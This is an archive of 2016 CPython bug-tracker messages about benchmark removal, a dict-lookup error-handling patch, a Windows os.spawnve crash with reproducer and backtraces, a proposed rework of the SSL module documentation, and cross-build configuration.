From report at bugs.python.org  Tue Sep 13 05:46:46 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 13 Sep 2016 09:46:46 +0000
Subject: [issue15369] pybench and test.pystone poorly documented
In-Reply-To: <1342446105.53.0.956340794171.issue15369@psf.upfronthosting.co.za>
Message-ID: <20160913094642.36352.24577.9A63BC89@psf.io>


Roundup Robot added the comment:

New changeset 08a0b75904c6 by Victor Stinner in branch 'default':
Remove pybench microbenchmark
https://hg.python.org/cpython/rev/08a0b75904c6

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15369>
_______________________________________

From report at bugs.python.org  Tue Sep 13 05:49:24 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 13 Sep 2016 09:49:24 +0000
Subject: [issue15369] pybench and test.pystone poorly documented
In-Reply-To: <1342446105.53.0.956340794171.issue15369@psf.upfronthosting.co.za>
Message-ID: <20160913094921.1874.8189.3B1AEAEE@psf.io>


Roundup Robot added the comment:

New changeset e03c1b6830fd by Victor Stinner in branch 'default':
Remove pystone microbenchmark
https://hg.python.org/cpython/rev/e03c1b6830fd

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15369>
_______________________________________

From report at bugs.python.org  Tue Sep 13 05:49:53 2016
From: report at bugs.python.org (Stefan Krah)
Date: Tue, 13 Sep 2016 09:49:53 +0000
Subject: [issue28120] The Blaze test suite segfaults with 4a5b61b0d090
In-Reply-To: <1473752756.43.0.274042514685.issue28120@psf.upfronthosting.co.za>
Message-ID: <1473760193.91.0.949642110507.issue28120@psf.upfronthosting.co.za>


Stefan Krah added the comment:

Victor, I'm beginning to resent your tone.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28120>
_______________________________________

From report at bugs.python.org  Tue Sep 13 05:51:18 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 13 Sep 2016 09:51:18 +0000
Subject: [issue28123] _PyDict_GetItem_KnownHash ignores DKIX_ERROR return
Message-ID: <1473760278.9.0.335020145509.issue28123@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

_PyDict_GetItem_KnownHash should handle dk_lookup return value the same as PyDict_GetItem.

BTW, it seems PyDict_GetItem can call _PyDict_GetItem_KnownHash to remove duplicate code, if you like, maybe another issue?

diff -r 6acd2b575a3c Objects/dictobject.c
--- a/Objects/dictobject.c	Tue Sep 13 07:56:45 2016 +0300
+++ b/Objects/dictobject.c	Tue Sep 13 17:46:08 2016 +0800
@@ -1370,12 +1370,12 @@
         ix = (mp->ma_keys->dk_lookup)(mp, key, hash, &value_addr, NULL);
         /* ignore errors */
         PyErr_Restore(err_type, err_value, err_tb);
-        if (ix == DKIX_EMPTY)
+        if (ix < 0)
             return NULL;
     }
     else {
         ix = (mp->ma_keys->dk_lookup)(mp, key, hash, &value_addr, NULL);
-        if (ix == DKIX_EMPTY) {
+        if (ix < 0) {
             PyErr_Clear();
             return NULL;

----------
components: Interpreter Core
messages: 276230
nosy: haypo, methane, xiang.zhang
priority: normal
severity: normal
status: open
title: _PyDict_GetItem_KnownHash ignores DKIX_ERROR return
type: behavior
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28123>
_______________________________________

From report at bugs.python.org  Tue Sep 13 05:52:02 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 09:52:02 +0000
Subject: [issue15369] pybench and test.pystone poorly documented
In-Reply-To: <1342446105.53.0.956340794171.issue15369@psf.upfronthosting.co.za>
Message-ID: <1473760322.58.0.366096964262.issue15369@psf.upfronthosting.co.za>


STINNER Victor added the comment:

We now have a good and stable benchmark suite: https://github.com/python/performance

I removed pystone and pybench from Python 3.7. Please use performance instead of old and not reliable microbenchmarks like pybench or pystone.

----------
nosy: +haypo
resolution:  -> fixed
status: open -> closed
versions: +Python 3.7 -Python 3.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15369>
_______________________________________

From report at bugs.python.org  Tue Sep 13 05:52:45 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 09:52:45 +0000
Subject: [issue28123] _PyDict_GetItem_KnownHash ignores DKIX_ERROR return
In-Reply-To: <1473760278.9.0.335020145509.issue28123@psf.upfronthosting.co.za>
Message-ID: <1473760365.92.0.95398011133.issue28123@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Please create a patch file and attach it to the issue, so we can review it more easily.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28123>
_______________________________________

From report at bugs.python.org  Tue Sep 13 05:54:18 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 13 Sep 2016 09:54:18 +0000
Subject: [issue28123] _PyDict_GetItem_KnownHash ignores DKIX_ERROR return
In-Reply-To: <1473760278.9.0.335020145509.issue28123@psf.upfronthosting.co.za>
Message-ID: <1473760458.26.0.394368135776.issue28123@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Hmm, I thought this is trivial so I didn't. Now upload the file patch ;).

----------
keywords: +patch
Added file: http://bugs.python.org/file44625/issue28123.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28123>
_______________________________________

From report at bugs.python.org  Tue Sep 13 05:57:58 2016
From: report at bugs.python.org (Eryk Sun)
Date: Tue, 13 Sep 2016 09:57:58 +0000
Subject: [issue28114] Crash in unicodeobject.c find_maxchar_surrogates on
 python-3.6.0b1 for Windows
In-Reply-To: <1473749735.07.0.359680040874.issue28114@psf.upfronthosting.co.za>
Message-ID: <1473760678.25.0.74035737353.issue28114@psf.upfronthosting.co.za>


Eryk Sun added the comment:

parse_envlist is calling PyUnicode_FromFormat with the format "%U=%U", but passing it bytes:

    |Debug Error!

    Program: C:\Program Files\Python36\python_d.exe

    abort() has been called

    (Press Retry to debug the application)
    (1e8.374): Break instruction exception - code 80000003 (first chance)
    ucrtbased!issue_debug_notification+0x45:
    00007ffc`aa1f1985 cc              int     3
    1:002> k 0n12
    Child-SP          RetAddr           Call Site
    00000030`a5fe9bb0 00007ffc`aa1f1b23 ucrtbased!issue_debug_notification+0x45
    00000030`a5fe9c00 00007ffc`aa212d7d ucrtbased!__acrt_report_runtime_error+0x13
    00000030`a5fe9c60 00007ffc`aa2184cf ucrtbased!abort+0x1d
    00000030`a5fe9ca0 00007ffc`aa2164c8 ucrtbased!common_assert_to_stderr<wchar_t>+0xbf
    00000030`a5fe9d00 00007ffc`aa218e7f ucrtbased!common_assert<wchar_t>+0x68
    00000030`a5fe9d40 00000000`60e59045 ucrtbased!_wassert+0x2f
    00000030`a5fe9d70 00000000`60eb9f71 python36_d!_PyUnicode_CheckConsistency+0x45
    00000030`a5fe9e00 00000000`60e4cd07 python36_d!unicode_fromformat_arg+0xc81
    00000030`a5fe9fa0 00000000`60e4cc31 python36_d!PyUnicode_FromFormatV+0xa7
    00000030`a5fea040 00000000`60c69853 python36_d!PyUnicode_FromFormat+0x31
    00000030`a5fea080 00000000`60c68286 python36_d!parse_envlist+0x1c3
    00000030`a5fea180 00000000`60c5d4ee python36_d!os_spawnve_impl+0x1d6

    1:002> .frame 6
    06 00000030`a5fe9d70 00000000`60eb9f71 python36_d!_PyUnicode_CheckConsistency+0x45
    1:002> ?? op->ob_type->tp_name
    char * 0x00000000`60fe1248
     "bytes"

parse_envlist used to call PyUnicode_FSConverter on key and val; get the underlying buffers via PyBytes_AsString; allocate a new buffer and copy key and val into "%s=%s". Now it instead calls PyUnicode_FromFormat for "%U=%U" and then fsconvert_strdup, which has been modified to call PyUnicode_AsWideCharString on Windows and otherwise PyUnicode_FSConverter. 

For Windows it could use PyUnicode_FSDecoder on key and val in combination with PyUnicode_FromFormat and the format string "%U=%U". For Unix it could use PyUnicode_FSConverter for key and val in combination with PyBytes_FromFormat and the format string "%s=%s".

----------
nosy: +eryksun

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28114>
_______________________________________

From report at bugs.python.org  Tue Sep 13 06:04:15 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 10:04:15 +0000
Subject: [issue28114] Crash in unicodeobject.c find_maxchar_surrogates on
 python-3.6.0b1 for Windows
In-Reply-To: <1473749735.07.0.359680040874.issue28114@psf.upfronthosting.co.za>
Message-ID: <1473761055.98.0.464396060015.issue28114@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> parse_envlist is calling PyUnicode_FromFormat with the format "%U=%U", but passing it bytes:

Ah, it's a regression introduced by the issue #27781 with the change e20c7d8a8187: parse_envlist() was modified to first call PyUnicode_FromFormat("%U=%U") and then convert.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28114>
_______________________________________

From report at bugs.python.org  Tue Sep 13 06:05:20 2016
From: report at bugs.python.org (era)
Date: Tue, 13 Sep 2016 10:05:20 +0000
Subject: [issue28122] email.header.decode_header can not decode string with
 quotation
In-Reply-To: <1473756712.9.0.349005206851.issue28122@psf.upfronthosting.co.za>
Message-ID: <1473761120.9.0.317193887458.issue28122@psf.upfronthosting.co.za>


era added the comment:

The double quotes around the "human readable" part of the email address are not allowed.  Python is handling this correctly.

----------
nosy: +era

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28122>
_______________________________________

From report at bugs.python.org  Tue Sep 13 06:06:11 2016
From: report at bugs.python.org (Stefan Krah)
Date: Tue, 13 Sep 2016 10:06:11 +0000
Subject: [issue28120] The Blaze test suite segfaults with 4a5b61b0d090
In-Reply-To: <1473752756.43.0.274042514685.issue28120@psf.upfronthosting.co.za>
Message-ID: <1473761171.15.0.889078097935.issue28120@psf.upfronthosting.co.za>


Changes by Stefan Krah <stefan at bytereef.org>:


----------
nosy:  -skrah

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28120>
_______________________________________

From report at bugs.python.org  Tue Sep 13 06:33:56 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 10:33:56 +0000
Subject: [issue28123] _PyDict_GetItem_KnownHash ignores DKIX_ERROR return
In-Reply-To: <1473760278.9.0.335020145509.issue28123@psf.upfronthosting.co.za>
Message-ID: <1473762836.66.0.456148736583.issue28123@psf.upfronthosting.co.za>


STINNER Victor added the comment:

I understand the the code doesn't handle correctly lookup failures. Such failure is easy to trigger in pure Python using a custom __eq__() method for example. Can you please write an unit test for it?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28123>
_______________________________________

From report at bugs.python.org  Tue Sep 13 06:34:00 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 10:34:00 +0000
Subject: [issue28124] Rework SSL module documentation
Message-ID: <1473762840.76.0.666078412099.issue28124@psf.upfronthosting.co.za>


New submission from Christian Heimes:

The documentation of the SSL module needs a rework. It's confusing and hard to understand even for experienced developers. The documentation should start with basic use cases and easy-to-reuse best practices.

* The module starts with move ssl.wrap_socket() but it's no longer best practice. The section should be moved down and favor of a quick introduction of SSLContext.

* ssl.create_default_context() is the best way to create a SSLContext. Mention that purpose flags and that Purpose.SERVER_AUTH is the correct setting on the client side. It means: "Create a context to authenticate the certs of a TLS server." (correct also for ftp, imap, ldap, smtp and so on).

* The protocol table is confusing and does not mention the meaning of PROTOCOL_SSLv23 (aka PROTOCOL_TLS). It's auto-negotiation of the highest TLS protocol version and takes OP_NO_* SSLContext.options into account. PROTOCOL_TLS_CLIENT and PROTOCOL_TLS_SERVER are the recommended options nowadays.

* Don't confront users with CERT_OPTIONAL in the first section. It's a super special mode for client cert authentication on the server side. On the client side, CERT_REQUIRED is the right mode with CERT_NONE as workaround. On the server side CERT_NONE (default) is usually the right setting.

* check_hostname is a client-side option that should be enabled all the time.

* Explain that users can load the public key of a  self-signed certificate like a CA cert to have cert validation even for self-signed certs.

----------
assignee: docs at python
components: Documentation
messages: 276238
nosy: christian.heimes, docs at python
priority: high
severity: normal
stage: needs patch
status: open
title: Rework SSL module documentation
type: enhancement
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28124>
_______________________________________

From report at bugs.python.org  Tue Sep 13 06:36:20 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Tue, 13 Sep 2016 10:36:20 +0000
Subject: [issue28109] What's new item for PEP 526 -- Variable annotations
In-Reply-To: <1473710424.07.0.410665624445.issue28109@psf.upfronthosting.co.za>
Message-ID: <1473762980.46.0.0438406259821.issue28109@psf.upfronthosting.co.za>


Changes by Ivan Levkivskyi <levkivskyi at gmail.com>:


Added file: http://bugs.python.org/file44626/whats-new-pep-526-v3a.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28109>
_______________________________________

From report at bugs.python.org  Tue Sep 13 06:41:39 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 13 Sep 2016 10:41:39 +0000
Subject: [issue28123] _PyDict_GetItem_KnownHash ignores DKIX_ERROR return
In-Reply-To: <1473760278.9.0.335020145509.issue28123@psf.upfronthosting.co.za>
Message-ID: <1473763299.82.0.609879617528.issue28123@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

_PyDict_GetItem_KnownHash is not invoked by any other dict methods. So to achieve it in pure Python level, we have to rely on others modules and objects such as OrderedDict, lru_cache. Is it a good idea to rely on those?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28123>
_______________________________________

From report at bugs.python.org  Tue Sep 13 06:42:15 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 10:42:15 +0000
Subject: [issue28120] The Blaze test suite segfaults with 4a5b61b0d090
In-Reply-To: <1473752756.43.0.274042514685.issue28120@psf.upfronthosting.co.za>
Message-ID: <1473763335.95.0.244859686298.issue28120@psf.upfronthosting.co.za>


STINNER Victor added the comment:

See also the issue #28123: "_PyDict_GetItem_KnownHash ignores DKIX_ERROR return".

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28120>
_______________________________________

From report at bugs.python.org  Tue Sep 13 06:43:16 2016
From: report at bugs.python.org (Eryk Sun)
Date: Tue, 13 Sep 2016 10:43:16 +0000
Subject: [issue28114] Crash in unicodeobject.c find_maxchar_surrogates on
 python-3.6.0b1 for Windows
In-Reply-To: <1473749735.07.0.359680040874.issue28114@psf.upfronthosting.co.za>
Message-ID: <1473763396.08.0.434464412406.issue28114@psf.upfronthosting.co.za>


Eryk Sun added the comment:

Here's a snippet to reproduce this bug:

    import os, sys
    environb = {os.fsencode(k):os.fsencode(v) for k,v in os.environ.items()}
    os.spawnve(os.P_WAIT, sys.executable, ('python', '--version'), environb)

(Now that Windows Python provisionally supports bytes via utf-8:surrogatepass, maybe it should also have an os.environb mapping.)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28114>
_______________________________________

From report at bugs.python.org  Tue Sep 13 06:45:21 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 10:45:21 +0000
Subject: [issue28123] _PyDict_GetItem_KnownHash ignores DKIX_ERROR return
In-Reply-To: <1473760278.9.0.335020145509.issue28123@psf.upfronthosting.co.za>
Message-ID: <1473763521.15.0.988080214269.issue28123@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> _PyDict_GetItem_KnownHash is not invoked by any other dict methods.

Oh, I missed that. In this case, I suggest you to expose the function at Python level using the _testcapi module. And then use _testcapi._PyDict_GetItem_KnownHash() in test_dict.

It would be nice to have unit tests on _PyDict_GetItem_KnownHash(), this function starts to become important in Python.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28123>
_______________________________________

From report at bugs.python.org  Tue Sep 13 06:50:09 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 13 Sep 2016 10:50:09 +0000
Subject: [issue28123] _PyDict_GetItem_KnownHash ignores DKIX_ERROR return
In-Reply-To: <1473760278.9.0.335020145509.issue28123@psf.upfronthosting.co.za>
Message-ID: <1473763809.76.0.067942701055.issue28123@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

How about let PyDict_GetItem call it? Just like the relationship of delitem and delitem_knownhash. You can see they share most codes. If we do that, it seems we can easily write a test(or there has already been a test) for it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28123>
_______________________________________

From report at bugs.python.org  Tue Sep 13 06:53:53 2016
From: report at bugs.python.org (Matthias Klose)
Date: Tue, 13 Sep 2016 10:53:53 +0000
Subject: [issue28125] identify cross builds by a more generic environment
 setting.
Message-ID: <1473764033.74.0.830597862284.issue28125@psf.upfronthosting.co.za>


New submission from Matthias Klose:

I don't like the _PYTHON_SYSCONFIGDATA_NAME hack introduced in #28046.  This should be based on the target, not on a name for just a particular file.  Plus the abi flags should not be set by hand, you'll get in trouble at least for naming extensions, or building extensions for the wrong abi flags. This was an explicit decision when I first started adding the cross-build changes.

So proposing instead to base a cross build on a _PYTHON_MULTIARCH environment variable and deriving the sysconfigdata name on that.

Working on a patch for that.

----------
assignee: doko
components: Cross-Build
messages: 276244
nosy: Alex.Willmer, doko
priority: normal
severity: normal
status: open
title: identify cross builds by a more generic environment setting.
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28125>
_______________________________________

From report at bugs.python.org  Tue Sep 13 06:54:46 2016
From: report at bugs.python.org (Matthias Klose)
Date: Tue, 13 Sep 2016 10:54:46 +0000
Subject: [issue28046] Remove the concept of platform-specific directories
In-Reply-To: <1473443913.59.0.936788039942.issue28046@psf.upfronthosting.co.za>
Message-ID: <1473764086.11.0.695591527537.issue28046@psf.upfronthosting.co.za>


Matthias Klose added the comment:

I don't like the _PYTHON_SYSCONFIGDATA_NAME hack.  This should be based on the target, not on a name for just a particular file.  Following up on that in #28125.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28046>
_______________________________________

From report at bugs.python.org  Tue Sep 13 06:57:00 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 10:57:00 +0000
Subject: [issue28123] _PyDict_GetItem_KnownHash ignores DKIX_ERROR return
In-Reply-To: <1473763809.76.0.067942701055.issue28123@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwZ19b46qyaiXOxUsBEv68e-Nps_N-u-9O0MEzfc+_AFYA@mail.gmail.com>


STINNER Victor added the comment:

Xiang Zhang added the comment:
> How about let PyDict_GetItem call it?

PyDict_GetItem() is like the most important function in term of
performance for Python. If you want to touch it, you must benchmark
it.

I would prefer to keep it as it is.

> Just like the relationship of delitem and delitem_knownhash.

delitem is less important in term of performance, so I decided to
accept Naoki's change to merge duplicated code.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28123>
_______________________________________

From report at bugs.python.org  Tue Sep 13 06:59:14 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 10:59:14 +0000
Subject: [issue28125] identify cross builds by a more generic environment
 setting.
In-Reply-To: <1473764033.74.0.830597862284.issue28125@psf.upfronthosting.co.za>
Message-ID: <1473764354.33.0.376070633372.issue28125@psf.upfronthosting.co.za>


Changes by STINNER Victor <victor.stinner at gmail.com>:


----------
nosy: +haypo, zach.ware

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28125>
_______________________________________

From report at bugs.python.org  Tue Sep 13 07:11:57 2016
From: report at bugs.python.org (Martin Panter)
Date: Tue, 13 Sep 2016 11:11:57 +0000
Subject: [issue28118] type-limits warning in PyMem_New() _ssl_locks_count
In-Reply-To: <1473751400.61.0.583878208383.issue28118@psf.upfronthosting.co.za>
Message-ID: <1473765117.32.0.0199753794266.issue28118@psf.upfronthosting.co.za>


Martin Panter added the comment:

I was thinking of ?static inline? for PyMem_New(). I understand the Centos and OS X Tiger problem is only related ?extern inline? vs plain ?inline?, and ?static inline? should not be affected.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28118>
_______________________________________

From report at bugs.python.org  Tue Sep 13 07:12:51 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 11:12:51 +0000
Subject: [issue28120] The Blaze test suite segfaults with 4a5b61b0d090
In-Reply-To: <1473752756.43.0.274042514685.issue28120@psf.upfronthosting.co.za>
Message-ID: <1473765171.35.0.932343932386.issue28120@psf.upfronthosting.co.za>


Christian Heimes added the comment:

The blaze test suite fails in pytest.

$ sudo dnf builddep python-numpy python-h5py
$ virtualenv -p ../bin/python3.6 venvblaze
$ cd venvblaze
$ bin/pip install install blaze pyyaml requests dask pytest h5py
bin/pytest -v lib/python3.6/site-packages/blaze/tests/test_sql.py 
=================================================================== test session starts ====================================================================
platform linux -- Python 3.6.0b1+, pytest-3.0.2, py-1.4.31, pluggy-0.3.1 -- /home/heimes/dev/python/python3.6/blaze/bin/python3.6
cachedir: .cache
rootdir: /home/heimes/dev/python/python3.6/blaze, inifile: 
collected 16 items 

lib/python3.6/site-packages/blaze/tests/test_sql.py::test_column Aborted (core dumped)

#0  0x00007ffff711f6f5 in raise () from /lib64/libc.so.6
#1  0x00007ffff71212fa in abort () from /lib64/libc.so.6
#2  0x00007ffff7117f97 in __assert_fail_base () from /lib64/libc.so.6
#3  0x00007ffff7118042 in __assert_fail () from /lib64/libc.so.6
#4  0x000000000048f12c in _PyDict_Pop (mp=mp at entry=0x7fffbc6bba30, key=0x7fffe07ab270, deflt=0x885ec0 <_Py_NoneStruct>) at Objects/dictobject.c:1743
#5  0x000000000048f274 in dict_pop (mp=0x7fffbc6bba30, args=<optimized out>) at Objects/dictobject.c:2736
#6  0x000000000049767d in _PyCFunction_FastCallDict (func_obj=func_obj at entry=0x7fffbc616850, args=args at entry=0x1c73600, nargs=nargs at entry=2, 
    kwargs=kwargs at entry=0x0) at Objects/methodobject.c:234
#7  0x00000000004978d4 in _PyCFunction_FastCallKeywords (func=func at entry=0x7fffbc616850, stack=stack at entry=0x1c73600, nargs=nargs at entry=2, 
    kwnames=kwnames at entry=0x0) at Objects/methodobject.c:295
#8  0x0000000000528c5e in call_function (pp_stack=pp_stack at entry=0x7fffffff1678, oparg=oparg at entry=2, kwnames=kwnames at entry=0x0) at Python/ceval.c:4763
#9  0x00000000005321d4 in _PyEval_EvalFrameDefault (f=0x1c73448, throwflag=<optimized out>) at Python/ceval.c:3250
#10 0x0000000000527d6b in PyEval_EvalFrameEx (f=f at entry=0x1c73448, throwflag=throwflag at entry=0) at Python/ceval.c:718
#11 0x0000000000527e3b in _PyFunction_FastCall (co=<optimized out>, args=0x7fffbc6245e0, nargs=nargs at entry=2, globals=<optimized out>)
    at Python/ceval.c:4845
#12 0x0000000000528a8b in fast_function (func=func at entry=0x7fffe06e69b0, stack=<optimized out>, nargs=nargs at entry=2, kwnames=kwnames at entry=0x0)
    at Python/ceval.c:4880
#13 0x0000000000528d19 in call_function (pp_stack=pp_stack at entry=0x7fffffff1828, oparg=oparg at entry=1, kwnames=kwnames at entry=0x0) at Python/ceval.c:4784
#14 0x00000000005321d4 in _PyEval_EvalFrameDefault (f=0x7fffbc624438, throwflag=<optimized out>) at Python/ceval.c:3250
#15 0x0000000000527d6b in PyEval_EvalFrameEx (f=f at entry=0x7fffbc624438, throwflag=throwflag at entry=0) at Python/ceval.c:718
#16 0x0000000000527e3b in _PyFunction_FastCall (co=co at entry=0x7fffe061df40, args=0x7fffffff19d0, args at entry=0x7fffffff19c0, nargs=nargs at entry=2, 
    globals=globals at entry=0x7fffe06a4f58) at Python/ceval.c:4845
#17 0x0000000000533f46 in _PyFunction_FastCallDict (func=func at entry=0x7fffe05f7f70, args=args at entry=0x7fffffff19c0, nargs=nargs at entry=2, 
    kwargs=kwargs at entry=0x0) at Python/ceval.c:4947
#18 0x0000000000446837 in _PyObject_FastCallDict (func=func at entry=0x7fffe05f7f70, args=args at entry=0x7fffffff19c0, nargs=2, kwargs=kwargs at entry=0x0)
    at Objects/abstract.c:2297
#19 0x00000000004479da in PyObject_CallFunctionObjArgs (callable=0x7fffe05f7f70) at Objects/abstract.c:2811
#20 0x00000000005b2888 in property_descr_set (self=<optimized out>, obj=<optimized out>, value=<optimized out>) at Objects/descrobject.c:1419
#21 0x000000000049bf42 in _PyObject_GenericSetAttrWithDict (obj=0x7fffbc695058, name=0x7ffff02bcba0, value=0x885ec0 <_Py_NoneStruct>, dict=dict at entry=0x0)
    at Objects/object.c:1152
#22 0x000000000049c174 in PyObject_GenericSetAttr (obj=<optimized out>, name=<optimized out>, value=<optimized out>) at Objects/object.c:1194
#23 0x000000000049b823 in PyObject_SetAttr (v=v at entry=0x7fffbc695058, name=<optimized out>, name at entry=0x7ffff02bcba0, 
    value=value at entry=0x885ec0 <_Py_NoneStruct>) at Objects/object.c:932
#24 0x000000000052e4eb in _PyEval_EvalFrameDefault (f=0x1c73218, throwflag=<optimized out>) at Python/ceval.c:2248
#25 0x0000000000527d6b in PyEval_EvalFrameEx (f=f at entry=0x1c73218, throwflag=throwflag at entry=0) at Python/ceval.c:718
#26 0x000000000052884a in _PyEval_EvalCodeWithName (_co=0x7fffe061dd00, globals=<optimized out>, locals=locals at entry=0x0, args=<optimized out>, 
    argcount=3, kwnames=0x0, kwargs=0x1c8a460, kwcount=0, kwstep=1, defs=0x7fffe06213c8, defcount=3, kwdefs=0x0, closure=0x0, name=0x7ffff7f7e430, 
    qualname=0x7fffe061ab08) at Python/ceval.c:4094
#27 0x00000000005289ba in fast_function (func=func at entry=0x7fffe05f7d48, stack=<optimized out>, nargs=nargs at entry=3, kwnames=kwnames at entry=0x0)
    at Python/ceval.c:4904
#28 0x0000000000528d19 in call_function (pp_stack=pp_stack at entry=0x7fffffff1e38, oparg=oparg at entry=2, kwnames=kwnames at entry=0x0) at Python/ceval.c:4784
---Type <return> to continue, or q <return> to quit---
#29 0x00000000005321d4 in _PyEval_EvalFrameDefault (f=0x1c8a288, throwflag=<optimized out>) at Python/ceval.c:3250
#30 0x0000000000527d6b in PyEval_EvalFrameEx (f=f at entry=0x1c8a288, throwflag=throwflag at entry=0) at Python/ceval.c:718
#31 0x000000000052884a in _PyEval_EvalCodeWithName (_co=_co at entry=0x7fffe06a2ac0, globals=globals at entry=0x7fffe07012b0, locals=locals at entry=0x0, 
    args=args at entry=0x7fffffff2080, argcount=argcount at entry=3, kwnames=kwnames at entry=0x7fffbc670bc0, kwargs=0x7fffbc670bc8, kwcount=8, kwstep=2, defs=0x0, 
    defcount=0, kwdefs=0x0, closure=0x7fffe037a6d8, name=0x7ffff7f7e430, qualname=0x7fffe0351120) at Python/ceval.c:4094
#32 0x0000000000534020 in _PyFunction_FastCallDict (func=func at entry=0x7fffe02978f8, args=args at entry=0x7fffffff2080, nargs=nargs at entry=3, 
    kwargs=kwargs at entry=0x7fffbc6bb8c8) at Python/ceval.c:4996
#33 0x0000000000446837 in _PyObject_FastCallDict (func=func at entry=0x7fffe02978f8, args=args at entry=0x7fffffff2080, nargs=nargs at entry=3, 
    kwargs=kwargs at entry=0x7fffbc6bb8c8) at Objects/abstract.c:2297
#34 0x0000000000446acb in _PyObject_Call_Prepend (func=0x7fffe02978f8, obj=obj at entry=0x7fffbc695058, args=0x7fffbc0f22f8, kwargs=0x7fffbc6bb8c8)
    at Objects/abstract.c:2360
#35 0x0000000000460410 in method_call (method=<optimized out>, args=<optimized out>, kwargs=<optimized out>) at Objects/classobject.c:317
#36 0x000000000044652e in PyObject_Call (func=func at entry=0x7fffbdf9ef38, args=args at entry=0x7fffbc0f22f8, kwargs=kwargs at entry=0x7fffbc6bb8c8)
    at Objects/abstract.c:2248
#37 0x00000000004b4dcb in slot_tp_init (self=<optimized out>, args=0x7fffbc0f22f8, kwds=0x7fffbc6bb8c8) at Objects/typeobject.c:6359
#38 0x00000000004b128b in type_call (type=0x16f0168, args=0x7fffbc0f22f8, kwds=0x7fffbc6bb8c8) at Objects/typeobject.c:915
#39 0x000000000044652e in PyObject_Call (func=0x16f0168, args=0x7fffbc0f22f8, kwargs=0x7fffbc6bb8c8) at Objects/abstract.c:2248
#40 0x0000000000527237 in do_call_core (func=func at entry=0x16f0168, callargs=callargs at entry=0x7fffbc0f22f8, kwdict=kwdict at entry=0x7fffbc6bb8c8)
    at Python/ceval.c:5032
#41 0x0000000000532700 in _PyEval_EvalFrameDefault (f=0x1c2a6c8, throwflag=<optimized out>) at Python/ceval.c:3332
#42 0x0000000000527d6b in PyEval_EvalFrameEx (f=f at entry=0x1c2a6c8, throwflag=throwflag at entry=0) at Python/ceval.c:718
#43 0x000000000052884a in _PyEval_EvalCodeWithName (_co=0x7fffe0391700, globals=<optimized out>, locals=locals at entry=0x0, args=<optimized out>, 
    argcount=2, kwnames=0x7fffe0336ad0, kwargs=0x1cb3998, kwcount=3, kwstep=1, defs=0x7fffe06a4800, defcount=3, kwdefs=0x0, closure=0x0, 
    name=0x7fffe06707b0, qualname=0x7fffe03504f0) at Python/ceval.c:4094
#44 0x00000000005289ba in fast_function (func=func at entry=0x7fffe0297f70, stack=<optimized out>, nargs=nargs at entry=2, kwnames=kwnames at entry=0x7fffe0336aa8)
    at Python/ceval.c:4904
#45 0x0000000000528d19 in call_function (pp_stack=pp_stack at entry=0x7fffffff24f0, oparg=<optimized out>, kwnames=kwnames at entry=0x7fffe0336aa8)
    at Python/ceval.c:4784
#46 0x00000000005322ed in _PyEval_EvalFrameDefault (f=0x1cb37d8, throwflag=<optimized out>) at Python/ceval.c:3266
#47 0x0000000000527d6b in PyEval_EvalFrameEx (f=f at entry=0x1cb37d8, throwflag=throwflag at entry=0) at Python/ceval.c:718
